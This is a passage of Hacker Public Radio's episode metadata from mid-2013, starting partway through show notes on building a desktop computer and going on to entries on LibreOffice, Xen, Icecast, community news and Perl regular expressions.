        \n\t
      • If using on-board video\n\tcontroller, you've already decided this.

        \n\t
      • If using discrete video card,\n\tnarrow search to available motherboard slots. \n\t

        \n\t

        For example, if you only have one\n\tPCI-e 16x slot, narrow search to video cards that can use that slot.\n\t Don't worry about AMD's CrossfireX or NVIDIA's SLI card linking\n\tbecause you don't have two slots. \n\t

        \n\t
      • If you buy a high-end discrete\n\tcard or cards, be sure to check the video card vendor's recommended\n\tpower supply wattage and required power connector. These cards\n\toften require a separate power connector from the power supply.

        \n
      \n
        \n\t
      1. Internal Storage
        \n
      \n
        \n\t
      • By internal\n\tstorage, I mean storage devices that will be housed inside the\n\tcomputer case.

        \n\t
      • Most\n\tmotherboards come with an on-board storage controller, typically\n\tSATA 2. Some have an IDE controller for legacy support. Server\n\tmotherboards may have some version of SCSI or SAS (serial attached\n\tstorage) controllers.

        \n\t
      • These\n\ton-board controllers are configured from within the BIOS or UEFI. \n\tDepending on the motherboard's south bridge chipset, it may support\n\ta few RAID levels, usually levels 0 (striping) and 1 (mirroring).

        \n\t
      • Storage\n\tdevices come in different physical sizes which require different\n\tsized bays - 5.25 inch, 3.5 inch, 2.5 inch, and 1.8 inch. These\n\trefer the size of the storage medium, not the actual bay size. The\n\t5.25 inch bays come in half-height versions, which are the standard\n\tfor CD and DVD drives in todays' computers. The 3.5 inch bays are\n\tusually used for floppy or Zip drives...more legacy equipment. See\n\tWikipedia.

        \n\t
      • Storage\n\tdevices can vary significantly in storage capacity. Often, the\n\tlarger the storage capacity, the higher the latency in storing and\n\tretrieving data. Cache on-board the disk can mitigate this latency,\n\tso larger cache sizes are preferred particularly for large capacity\n\tdrives. Cache sizes currently include 8MB, 16MB, 32MB and 64MB.

        \n\t
      • With rotating\n\tmagnetic disks, the speed at which they rotate can also mitigate\n\tthis latency. Rotation speeds include 5400 rpm, 7200 rpm, and 10000\n\trpm and 15000 rpm with each step in speed requiring more power and\n\tgiving off more heat.

        \n\t
      • If you need\n\tmore than 2 or 3 drives, you'll need to ensure your case has\n\tadequate physical space for them and that your power supply is sized\n\tappropriately.

        \n
      \n


      \n

      \n
        \n\t
      1. Case & Power Supply
        \n
      \n
        \n\t
      • Some cases are bundled with a\n\tpower supply, which might work great for average to low-end system\n\tconfigurations.

        \n\t
      • Based on motherboard form factor\n\tand internal storage requirements, pick out a computer case. \n\t

        \n\t
      • Case features to consider:

        \n\n
          \n\t
        1. Power supply location is always\n\tin rear, but can be on top or bottom of a tower configuration. If\n\tthe computer will sit on the floor, having the power supply on the\n\tbottom might turn it into a dust bunny haven.

          \n\t
        2. Number and type of storage drive\n\tbays.

          \n\t
        3. Removable and/or washable dust\n\tfilters.

          \n\t
        4. Lighting kits

          \n\t
        5. Front panel ports and static\n\tsuppression

          \n
        \n
      \n
        \n\t
      • The number and size of fans is\n\tlimited by the case design. Typically a case will come with one\n\trear fan, but most offer front, side, or top vents where fans can be\n\tmounted. Fan sizes range from 25mm to 250mm, with popular sizes at\n\t80mm, 92mm, 120mm and 140mm.

        \n\t
      • Make sure power supply is sized\n\tcorrectly:

        \n\n
          \n\t
        1. Physical dimensions fits in case\n\t(beware “slim” power supplies for smaller form factor cases).

          \n\t
        2. Wattage output, which is driven by\n\tvideo cards and number of internal storage devices.

          \n\t
        3. Connectors required by the\n\tmotherboard, CPU fan, case fans, video card and internal storage\n\tdevices.

          \n
        \n
      \n
        \n\t
      • Without a discrete video card and\n\t2-3 internal storage devices, 300-400 Watts power supplies are\n\ttypical. If getting a discrete video card, check on its power\n\trequirements.

        \n\t
      • Power supplies also have\n\tefficiency ratings under the "80 PLUS" certifications, which\n\tspan from vanilla 80 PLUS, Bronze, Silver, Gold and Platinum. See\n\tWikipedia for more info.

        \n
      \n","hostid":247,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"build, desktop, computer","version":0,"downloads":2147,"valid":1}, {"id":1259,"date":"2013-05-30","title":"Cyanide Cupcake and Klaatu ","duration":1220,"summary":"Using Scratch in teaching","notes":"

      Cyanide Cupcake talks to Klaatu about the Scratch programming language.

      \n

      Links

      \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"programming,scratch,video games,mit","version":0,"downloads":1807,"valid":1}, {"id":1260,"date":"2013-05-31","title":"Interview with GMC about OHM 2013","duration":741,"summary":"Nido Media interviews GMC about OHM 2013","notes":"

      \nOHM2013 is a five day outdoor international camping festival for hackers and makers, and those with an inquisitive mind. On 31st July 2013, 3000 of those minds will descend upon on an unassuming patch of land, at the Geestmerambacht festival grounds, 30km north of Amsterdam. We are interrupted by Nick Farr, who will tell us a bit about Hackers on a Plane, who organise a trip from North America to Europe to participate in this event.\n

      \n\n","hostid":214,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"OHM2013","version":0,"downloads":1783,"valid":1}, {"id":1261,"date":"2013-06-03","title":"HPR Community News for May 2013","duration":2551,"summary":"HPR Community News for May 2013","notes":"

      New hosts

      \n

      \nWelcome to our new host: \nDeb Nicholson,\nBeeza, and\nToby Meehan.\n

      \n\n\n\nhost\n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n
      id\ntitle\n
      1236Lament For httpddeepgeek
      1237Cory Doctorow tribute to Aaron SwartzVarious Creative Commons Works
      1238Word processors are overratedjohanv
      1239HPR Saturday Sessions: What is hacking?Nido Media
      1240Doomsday RuleCharles in NJ
      1241Community News for April 2013HPR Admins
      1242What's Wrong With Free, Anyway?Ahuka
      1243Wargames AnniversaryAukonDK
      1244LiTS 029: ab - apache benchmark.Dann
      1245TGTM Newscast for 2013-06-05 for by Dann Washko and DeepGeekTgtm News Team
      1246David Whitman On Location at LinuxFest NorthwestDavid Whitman
      1247Recording Terrestrial Radio with bash scipts and cron jobsJon Kulp
      1248Frank Bell Achieves Enlightenment Adventures with E17 Pt OneFrank Bell
      1249Software Patents: Who's Behind the Curtain?Deb Nicholson
      1250Interview With YTCrackerpokey
      1251TGTM Newscast for 2013-05-19 DeepGeekTgtm News Team
      1252The Long Road To LinuxBeeza
      1253Linux in the Shell Ep 30 - vmstatDann
      1254X2go Remote Linux server/clientJWP
      1255A life in a software projectgarjola
      1256TGTM Newscast for 2013-05-20 BobobexTgtm News Team
      1257Getting things done.Knightwise
      1258How to Build a Desktop ComputerToby Meehan
      1259Cyanide Cupcake and Klaatu klaatu
      1260Interview with GMC about OHM 2013.Nido Media
      \n\n\n

      New show posting algorithm

      \n

      \nFollowing a post from klaatu noting that he was waiting 42 days to get a show released, he suggest simplifying the process to a first in first out solution with some options. Ken replied that the entire scheduling should be first in first out, while giving hosts the option to pick a day in the future that was free.
      \nJoin the mail list for more discussions on this topic.\n

      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1709,"valid":1}, {"id":1262,"date":"2013-06-04","title":"LiTS 031: who","duration":1042,"summary":"Show who is logged on with the who command","notes":"Episode 31 of Linux in the Shell discuses the use of the who command. The who command does more than just identify who is logged into a system. Who is coupled with init and will produce statistical information about the system since the last boot. Make sure you visit the entry on https://www.linuxintheshell.com/2013/06/04/episode-031-who/ to get the full write up of the who command and for further information in the bibliography on topics discussed.\n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"who","version":0,"downloads":2264,"valid":1}, {"id":1263,"date":"2013-06-05","title":"3G Tunnels (Sshuttle)","duration":2209,"summary":"3G connectivity and Sshuttle","notes":"

      \nTimttmy and NYbill have a chat about 3G connectivity and Sshuttle. Sshuttle is\napp that blends VPN and SSH proxy like features. They also touch on AUR packaging and \nthe recent Linode hacks. Then start to reminisce about OGGcamps past and the good'ol days of\nthe Linux Outlaw forums. And what do most geeks do when they hang out? They finish up \ntalking about their computer gear. \n

      \n

      \n3g tethering \n

      \n\n\n\n

      \nsshuttle\n

      \n\n\n\n

      \nTimttmy https://micro-timttmy.dyndns.org/micro/\n

      \n

      \nNYbill https://status.gunmonkeynet.net/\n

      ","hostid":235,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"3G,Sshuttle","version":0,"downloads":1765,"valid":1}, {"id":1264,"date":"2013-06-06","title":"Open Accessibility: Interview with Steve Lee","duration":3253,"summary":"Ken Catches up with Steve Lee just before he gave his talk on Open Accessability.","notes":"

      \nIn today's show Ken finally gets around to releasing shows recorded at OggCamp11 \n

      \n

      \nOggCamp 11 was a two-day unconference where technology enthusiasts came together to exchange knowledge on a wide range of topics from Linux and open source software to building home automation systems. It was held August 13 and 14 at Farnham Maltings in Surrey in the UK.\n

      \n\n

      Open Accessibility

      \n\n

      \nKen Catches up with Steve Lee just before he gave his talk on Open Accessability. After the talk we get to hear his presentation.\n

      \n\n

      Links

      \n\n\n","hostid":30,"series":79,"explicit":1,"license":"CC-BY-SA","tags":"oggcamp","version":0,"downloads":1656,"valid":1}, {"id":1265,"date":"2013-06-07","title":"Mitigating SQL Injection And Other Message Protocol Attacks Through Compiler Signatures","duration":297,"summary":"Compiler Signatures for mitigating attacks of various sorts","notes":"

      \nSigflup talks about mitigating sql injection and other message protocol attacks through compiler signatures\n

      \n

      \nWEBSITE: https://www.theadesilva.com/sqlsig\n

      \n

      \nSOURCE CODE: https://www.theadesilva.com/sqlsig.tar.gz\n

      ","hostid":115,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"SQL,mitigation,attack,hacking,compiler,protocol,languages","version":0,"downloads":1755,"valid":1}, {"id":1266,"date":"2013-06-10","title":"TGTM Newscast for 2013-06-06 by Dann Washko and DeepGeek","duration":837,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      Staffed and produced by the TGTM news team, Editorial Selection by DeepGeek, views of the story\nauthors reflect their own opinions and not necessarily those of TGTM\nnews.\n

      \nNews from \"techdirt.com,\" \"thestand.org,\" and  \"maggiemcneill.wordpress.com\" used\nunder arranged\npermission.

      \n

      News from \"cair.com\" is a press release.
      \n

      \n

      News\nfrom \"torrentfreak.com,\" \"sacis.org.za/fpif.org,\" and \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n\n

      News from \"democracynow.org\" used under permission of the Creative Commons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n

      Links

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":1655,"valid":1}, {"id":1267,"date":"2013-06-11","title":"LibreOffice 04 Writer Style Properties 1","duration":1522,"summary":"Style properties in LibreOffice Writer, part 1","notes":"

      \nSome useful sites\n

      \n\n\n\n

      \nMy web site is at https://www.ahuka.com/\n

      \n

      \nRemember to support free software!\n

      ","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":1823,"valid":1}, {"id":1268,"date":"2013-06-12","title":"What's in my bag","duration":707,"summary":"David Whitman describes the contents of his work backpack","notes":"

      \nA short episode by me: \"David Whitman\" about things I carry in my backpack which is my go to work bag. Normally there would be food in there but it is Sunday morning and thankfully I have left no food in the bag. Food ideally goes to work and is consumed but there have been those times.........the forgotten orange etc.\n

      \n","hostid":209,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"Toys,Junk,Computers,Tablet,Netbook,\"what's in my bag\"","version":0,"downloads":1813,"valid":1}, {"id":1269,"date":"2013-06-13","title":"Frank Bell Achieves Enlightenment Adventures with E17 Pt Two","duration":2175,"summary":"About Enlightenment E17, part 2","notes":"

      \nFrank concludes his two-part series on the E17 (Enlightenment 0.17.x) Desktop Environment with a look at some nuts-and-bolts configuration items.\n

      \n

      \nHe covers several configuration settings that illustrate how Enlightenment's various configuration dialogs work, including the\n

      \n\n
        \n
      • Shelf (Panel) and Gadgets (Widgets) in the Shelf.\n
      • \n
      • Settings Panel, and, within the Settings Panel,\n
      • \n
      • Key and Mouse Bindings.\n
      • \n
      • Favorite Applications.\n
      • \n
      • Startup Applications.\n
      • \n
      • Themes and Wallpapers.\n
      • \n
      • The Titlebar Menu, including \"Window\" settings, such as Maximize, Half-Maximize, Vertical Maximize; and \"Remember\" settings, such as Position and \"Sticky\" state.\n
      • \n
      \n\n

      \nLinks:\n

      \n

      \nICCCM (Inter-Client Communications Conventions Manual):\n

      \n\n\n\n

      \nNetWM (Extended Window Manager Hits):\n

      \n\n\n\n

      \nFor a list of links to E17 resources and to listen to the first episode, see Part One:\nhttps://hackerpublicradio.org/eps.php?id=1248\n

      ","hostid":195,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Enlightenment 0.17.x\",E17","version":0,"downloads":1824,"valid":1}, {"id":1270,"date":"2013-06-14","title":"Fathers Day Special: Jon Kulp interviews his Dad","duration":2551,"summary":"Jon Kulp interviews his Dad for Fathers Day","notes":"

      While my parents are visiting from Tennessee I take advantage of the opportunity to talk to my dad for awhile about his early days\nof computing. He has a PhD in statistics and has been using computers since the 1960s. We talk about his programming in\nFortran and Cobol, about building Heathkit projects, about his duties as a VP\nfor Information Technology at a small private university in Nashville, and about his more recent programming in Windows.

      \n","hostid":238,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"\"FORTRAN II\",\"punched cards\",Heathkit,COBOL,modem,SPSS,\"Visual BASIC\",Mono,Android","version":0,"downloads":2026,"valid":1}, {"id":1271,"date":"2013-06-17","title":"Out of style or retro chique.","duration":670,"summary":"Knightwise finds old tech at a garage sale and ponders about the pace of change","notes":"

      \nJust how many devices do you still have lying around that have been discarded by the pace of progress. What if you would use them today ? Knightwise takes you with him on a garage sale bargain hunt and asks the question : Is it out of style or retro chique.\n

      ","hostid":111,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"garage sale\",\"old technology\"","version":0,"downloads":2033,"valid":1}, {"id":1272,"date":"2013-06-18","title":"Open Badges?","duration":1225,"summary":"Open Badges communicate skills and achievements through visual symbols of accomplishments","notes":"

      Cyanide Cupcake and Klaatu ponder the new Open Badge spec, and\nwhether badges are important, useful, or...a government conspiracy!

      \n

      Links

      \n

      \nopenbadges.org\n

      \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"meritocracy,badges,education","version":0,"downloads":2104,"valid":1}, {"id":1273,"date":"2013-06-19","title":"LiTS 032: cat","duration":566,"summary":"Concatenate files and print on the standard output with the cat command","notes":"

      \nEpisode 32 of Linux in the Shell talks about the use of the cat command. Learn the different switches to cat and how through the use of redirection cat becomes more than just a tool to view the contents of a file. For the full write-up of the command and the corresponding video examples check out https://www.linuxintheshell.com/2013/06/18/episode-032-cat/\n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"concatenate,cat","version":0,"downloads":2850,"valid":1}, {"id":1274,"date":"2013-06-20","title":"Nathan Dumont on Open Source Hardware","duration":2365,"summary":"Ken interviews Nathan Dumont at OggCamp11","notes":"

      In today's show Ken finally gets around to releasing shows recorded at OggCamp11

      \n\n

      \nOggCamp 11 was a two-day unconference where technology enthusiasts came together to exchange knowledge on a wide range of topics from Linux and open source software to building home automation systems. It was held August 13 and 14 2011 at Farnham Maltings in Surrey in the UK. \n

      \n\n

      Open Source Hardware

      \n

      \nNathan and Ken have a chat in the beer garden after OggCamp.\n

      \n

      Links

      \n\n\n","hostid":30,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"\"Open Source hardware\",Arduino,ChipKIT","version":0,"downloads":2229,"valid":1}, {"id":1275,"date":"2013-06-21","title":"LibreOffice 05 Writer Style Properties 2","duration":1294,"summary":"Style properties in LibreOffice Writer, part 2","notes":"

      Links

      \n\n\n\n

      \nMy web site is at https://www.ahuka.com/\n

      \n

      \nRemember to support free software!\n

      ","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":2324,"valid":1}, {"id":1276,"date":"2013-06-24","title":"Two Hacker Public Radio hosts meet face-to-face for the first time","duration":519,"summary":"A meeting between Jon Kulp and windigo (and the cat)","notes":"

      I have known windigo for more than 4 years as a virtual\nacquaintance, first on the Linux Outlaws\nforums, then on identica, and finally on the Federated Statusnet\nnetwork. It was awesome when he and his girlfriend stopped by my\nhouse today to visit while on a massive road trip around the\nUnited States. We took advantage of the opportunity to record a\nbrief conversation for Hacker Public Radio. Here's a photo of\nwindigo, me, and Dingle the cat between us.

      \n\n\n

      \n\n\"windigo,\n

      \n\n

      Links

      \n\n","hostid":238,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"Jon Kulp\",windigo,HPR","version":0,"downloads":2326,"valid":1}, {"id":1277,"date":"2013-06-25","title":"Icecast 102","duration":2219,"summary":"How to run Icecast - part 2","notes":"

      \nKlaatu talks about how to feed Icecast with different sources like\nMPD and BUTT, and how to use the front-ends ncmpcpp and gmpc.\n

      \n

      \nHere are the simple and ugly shell scripts that Klaatu uses to manage\nhis Icecast streaming station. They aren't quite finished products yet\nbut they'll give you an idea of how one might realistically manage an\ninternet radio station from the shell:\n

      \n

      \nhttps://slackermedia.info/radio\n

      \n

      \nKlaatu is indebted to Delwin, The Last Known God, and Ruji for their\nhelp on this episode.\n

      \n\t","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Icecast,MPD,BUTT,ncmpcpp,gmpc","version":0,"downloads":2401,"valid":1}, {"id":1278,"date":"2013-06-26","title":"OggCamp11: Interview with Marie Assen from Flatter","duration":1637,"summary":"Ken releases an interview from OggCamp11","notes":"

      In today's show Ken finally gets around to releasing shows recorded at OggCamp11

      \n\n

      \nOggCamp 11 was a two-day unconference where technology enthusiasts came together to exchange knowledge on a wide range of topics from Linux and open source software to building home automation systems. It was held August 13 and 14 at Farnham Maltings in Surrey in the UK. \n

      \n\n

      Flattr: The social way to get paid

      \n

      \nIn today's show Ken chats with Marie and stories are told of life and trust.\n

      \n","hostid":30,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"OggCamp11","version":0,"downloads":2345,"valid":1}, {"id":1279,"date":"2013-06-27","title":"Russ Pavlicek on Xen Project","duration":3448,"summary":"A talk at Texas Linux Fest about Xen","notes":"

      \nThis show was recorded on June 1st at Texas Linux fest \nI was lucky enough to hear Russ Pavlicek talk about his Xen project and open source. \n

      \n\n","hostid":248,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Russ Pavlicek, Texas linux fest, xen project","version":0,"downloads":2518,"valid":1}, {"id":1280,"date":"2013-06-28","title":"Homemade Antennas for OTA Hi-Def TV","duration":899,"summary":"Antennas for over-the-air hi-def TV","notes":"

      In this episode I discuss my experience building and using antennas for over-the-air hi-def TV.

      \n\n\n\n

      Here are pictures of my two main antennas:

      \n\n

      Bow-Tie style

      \n\n

      \n\n\"Jon's\n

      \n\n

      Gray-Hovermann style

      \n\n

      \n\n\"Jon's\n

      \n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"antenna,homemade,bowtie,Gray-Hovermann,balun","version":0,"downloads":2625,"valid":1}, {"id":1281,"date":"2013-07-01","title":"Samsung Ativ Premiere","duration":554,"summary":"Knightwise attended Samsung's 2013 premiere event in London","notes":"

      \nKnightwise reports in after attending Samsungs 2013 premiere event in Kings Court london last thursday, where the company presented its upcoming line of smartphone camera and computer products. He takes a look on what was new and noticable and how the Hulk is probably doing most of Samsungs innovations these days.\n

      \n

      \nhttps://www.knightwise.com\n

      ","hostid":111,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Samsung","version":0,"downloads":2327,"valid":1}, {"id":1282,"date":"2013-07-02","title":"My Homemade Recumbent Bicycle","duration":2089,"summary":"Jon made his own recumbent bicycle and tells us about it","notes":"

      \n\n\"Jon's\n
      \nThe Green ♲ Machine
      \n
      \nIn this episode I discuss my experience building a Recumbent Bicycle from donor bikes. A couple of things I forgot to mention while recording the podcast. First of all I had to use tandem bicycle cables for the brakes and the rear derailleur because they had to be very long. I also forgot to talk about the time when I was in a panic that the rear triangle was a bit out of alignment with the front, such that it would make the bike turn a little bit to the left by default. I called Andrew Carson and asked him if there was anything I could do to fix it and his solution was just awesome. What he told me to do was to put a spare hub in the rear triangle to keep the seat- and chain stays from collapsing together, lay the frame on the ground with the front end propped up on a step or something, and then just stand on it, jumping up and down slightly on it if necessary until I could feel it bend back a little bit. This actually worked! It straightened the frame right out. :) Finally, the total cost for this project was under $300. The most expensive single part of it by far was the powder coat, which cost $120. Here are links to resources mentioned in the podcast or simply of general interest.

      \n\n\n\n

      Editor's Note 2019-05-22: some links in these notes were broken but have been updated with the kind help of Jon himself.

      \n","hostid":238,"series":115,"explicit":0,"license":"CC-BY-SA","tags":"DIY, Bicycles, Recycling","version":0,"downloads":2386,"valid":1}, {"id":1283,"date":"2013-07-03","title":"Ken gets to talk with Ambjorn about politics","duration":1241,"summary":"Ken interviews Ambjorn at OggCamp11","notes":"

      \nIn today's show Ken finally gets around to releasing shows recorded at OggCamp11\n

      \n

      \nOggCamp 11 was a two-day unconference where technology enthusiasts came together to exchange knowledge on a wide range of topics from Linux and open source software to building home automation systems. It was held August 13 and 14 at Farnham Maltings in Surrey in the UK. \n

      \n\n

      \nKen gets to talk with Ambjorn about politics.\n

      \n\n

      Links

      \n

      \nWinning and Losing Freedoms through Real Politics: https://blip.tv/episode/5496173\n

      ","hostid":30,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"interview","version":0,"downloads":2341,"valid":1}, {"id":1284,"date":"2013-07-04","title":"Blather Speech Recognition for Linux: Interview with Jezra","duration":2450,"summary":"Jon Kulp interviews Jezra about speech recognition with Blather","notes":"

      \n \n\nA conversation with Jezra, sometime HPR host and the lead developer of the Blather speech recognition program for Linux.

      \n\n

      Links:

      \n\n\n","hostid":238,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"accessibility, Speech Recognition, Speech Recognition In Linux, bash scripting, GNU/Linux (Operating System), sphinx, pocketsphinx","version":0,"downloads":2623,"valid":1}, {"id":1285,"date":"2013-07-05","title":"LibreOffice 06 Writer Creating a Paragraph Style LibreOffice","duration":1079,"summary":"Creating a Paragraph Style in LibreOffice","notes":"

      Some useful sites

      \n\n\n\n

      \nMy web site is at https://www.ahuka.com/.\n

      \n

      \nRemember to support free software!\n

      \n","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":2725,"valid":1}, {"id":1286,"date":"2013-07-08","title":"iCalendar Hacking","duration":1127,"summary":"Creating iCalendar rules by hand and with a Perl script","notes":"

      Editor’s Note 2020-01-02

      \n

      The notes for this episode have been reformatted, particularly the long-form notes. This was done to make them more readable. Also, the original Git repository has been changed from Gitorious to GitLab.
      \nIn 2019 an iCalendar file was placed on the HPR server at https://hackerpublicradio.org/HPR_Community_News_schedule.ics which you can use in your own calendar application. The file contains the recording times of 12 months of Community News shows and is updated monthly.

      \n

      The Problem

      \n

      Back in 2012 Ken Fallon tried to use Google Calendar to set up an event for the recording of the monthly Community News shows on HPR. He wanted to set these on the Saturday before the first Monday of the month. Surprisingly he didn’t find a way to do this and ended up deleting the attempt.

      \n

      I looked at the calendaring application I use: Thunderbird with the Lightning calendar plugin, to see if I could manage it. I also couldn’t find a way.

      \n

      This episode documents my journey to find a way to make the calendar entries we need.

      \n

      Long notes

      \n

      Detailed notes are available for this episode, and these can be viewed here.

      \n

      Links

      \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"iCalendar,Perl,RFC 5545,pcal,remind","version":0,"downloads":2448,"valid":1}, {"id":1287,"date":"2013-07-09","title":"HPR Community News For June 2013","duration":5223,"summary":"HPR Community News For June 2013","notes":"

      New hosts

      \n

      \nWelcome to our new host: \nAlek Grigorian.\n

      \n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n \n\n
      id\ntitle\nhost\n
      1261Community News for May 2013HPR Admins
      1262LiTS 031: whoDann
      12633G Tunnels (Sshuttle)NYbill
      1264Open Accessibility: Interview with Steve LeeKen Fallon
      1265Mitigating SQL Injection And Other Message Protocol Attacks Through Compiler Signaturessigflup
      1266TGTM Newscast for 2013-06-06  by Dann Washko and DeepGeekTgtm News Team
      1267LibreOffice 04 Writer Style Properties 1Ahuka
      1268Whats in my bagDavid Whitman
      1269Frank Bell Achieves Enlightenment Adventures with E17 Pt TwoFrank Bell
      1270Fathers Day Special: Jon Kulp interviews his DadJon Kulp
      1271Out of style or retro chique.Knightwise
      1272Open Badges?klaatu
      1273LiTS 032: catDann
      1274Nathan Dumont on Open Source HardwareKen Fallon
      1275LibreOffice 05 Writer Style Properties 2Ahuka
      1276Two Hacker Public Radio hosts meet face-to-face for the first timeJon Kulp
      1277Icecast 102klaatu
      1278OggCamp11: Interview with Marie Assen from FlatterKen Fallon
      1279Russ Pavlicek on Xen ProjectAlek Grigorian
      1280Homemade Antennas for OTA Hi-Def TVJon Kulp
      1281Samsung Ativ PremiereKnightwise
      \n\n

      Website updates

      \n

      \nThere have been many small changes to the back end to allow first in first out scheduling.\n

      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":2407,"valid":1}, {"id":1288,"date":"2013-07-10","title":"Nido Media gets Ken to go camping at OHM2013","duration":1854,"summary":"Nido Media and Ken Fallon at OHM2013","notes":"

      \nSlowly but surely over the almost 15 years of his stay in the Netherlands, Ken has been Dutchified. He's got a bakfiets, he learned the language(ish), he has a pair of wooden shoes, he even eats mayonnaise with his fries. But one thing he has rebelled against is camping (ok also Steak Tartare aka 'American Fillet' aka raw cow). That most Dutch of traditions, where the family head off to some deserted field, be it by the sea, in a forest, or on the polder, one thing is sure, it will be damp, wet, mosquito ridden, dark too late and bright too early, and wet - optionally cold and hot. In short hell. Of course that's his personal opinion. \n

      \n

      \nOf course, Nido Media sees it as a relaxing vacation away from the hustle and bustle of a busy life, fortified with happy memories where he and his family enjoyed the long summer days when it never rained and they were allowed to stay up late.\n

      \n

      \nSo how can these two dividing opinions be bridged ?\n

      \n

      \nIn short: Fiber to the Tent. https://ohm2013.org/site/\n

      \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"OHM2013","version":0,"downloads":2462,"valid":1}, {"id":1289,"date":"2013-07-11","title":"Short Xen Update From JWP","duration":807,"summary":"A response to Russ Pavlicek about the Xen Project","notes":"

      \nShow Title - Short Xen Update From JWP\n

      \n

      \nIn the Tilts 507 Rus came on as the Xen project manager.\nHad a lot to say about Xen but not about how xen is funded in the linux foundation by who.\n

      \n

      \nIn the course of preparing for the podcast I learned that is not easy to see who gives money to the linux foundation. But Oracle is on the board directors along with all the major players in the IT space.\n

      \n

      \nI also learned weather it is type 1 or type 2 hypervisor it is not clear as it used to be.\nAt work I do not get very many requests for anything but ESX, HyperV or KVM in that order. Once in a while a Xen or Oracle VM comes up. This might change with the open stack a bit but I am not sure.\n

      \n

      \nA good start to look at it is here:\nhttps://www.ibm.com/developerworks/cloud/library/cl-hypervisorcompare/\n

      \n

      \nA better view of the real state of type 1 vs type 2 is here\n

      \n

      \nhttps://www.linkedin.com/groups/Hypervisors-Type-1-vs-Type-2445280.S.145843212\n

      \n\n","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Xen,\"Linux Foundation\",hypervisor","version":0,"downloads":2348,"valid":1}, {"id":1290,"date":"2013-07-12","title":"MultiSystem: The Bootable Thumb Drive Creator","duration":1612,"summary":"A bootable USB thumb drive creation tool called MultiSystem","notes":"

      \nMultiSystem is a tool for creating bootable USB thumb drives that give\nyou the option launching multiple ISO images and other built in\ndiagnostic utilities. It can be an invaluable tool for system repair\ntechs. Not to mention the many recovery and repair Live CDs that are\navailable to fix Linux, most bootable Windows repair and anti-virus\nutilities run from a Linux based ISO. The tech can even create ISO\nimages of Windows installation media and replace a stack of DVDs with\none thumb drive. Besides the installable package, there is also a\nMultiSystem LiveCD https://sourceforge.net/projects/multisystem/ that, if\nI understand correctly, contains some recomended ISOs to install on your\nthumb drive.\n

      \n

      \n\"MultiSystem\n

      \n

      \nFor complete episode show notes please see
      \nhpr1290.html\n

      \n\t\n","hostid":131,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"thumb drive","version":0,"downloads":2675,"valid":1}, {"id":1291,"date":"2013-07-15","title":"Parsing an ISO8601 formatted duration field with Perl","duration":4832,"summary":"A step-by-step explanation of writing a regular expression in Perl to parse an ISO8601 time duration","notes":"

      \nKen recently asked Dave for help with a Perl regular expression for\nparsing ISO8601 time durations. As a consequence a Perl script was\nwritten, which is available at\nhttps://gitlab.com/davmo/hprmisc/blob/master/parse_8601_duration.\n

      \n

      \nIn this show Ken and Dave discuss this script at some (considerable)\nlength. Keen listeners might want to view the script as they listen.\nDetailed show notes describing how to put together a Perl regular expression are also available.\n

      \n

      \nUnfortunately some of the line numbers in the script referred to in the\nshow are now incorrect since Dave could not stop himself updating it.\n

      \n

      \nFor detailed show notes on how Dave created the script see:\n

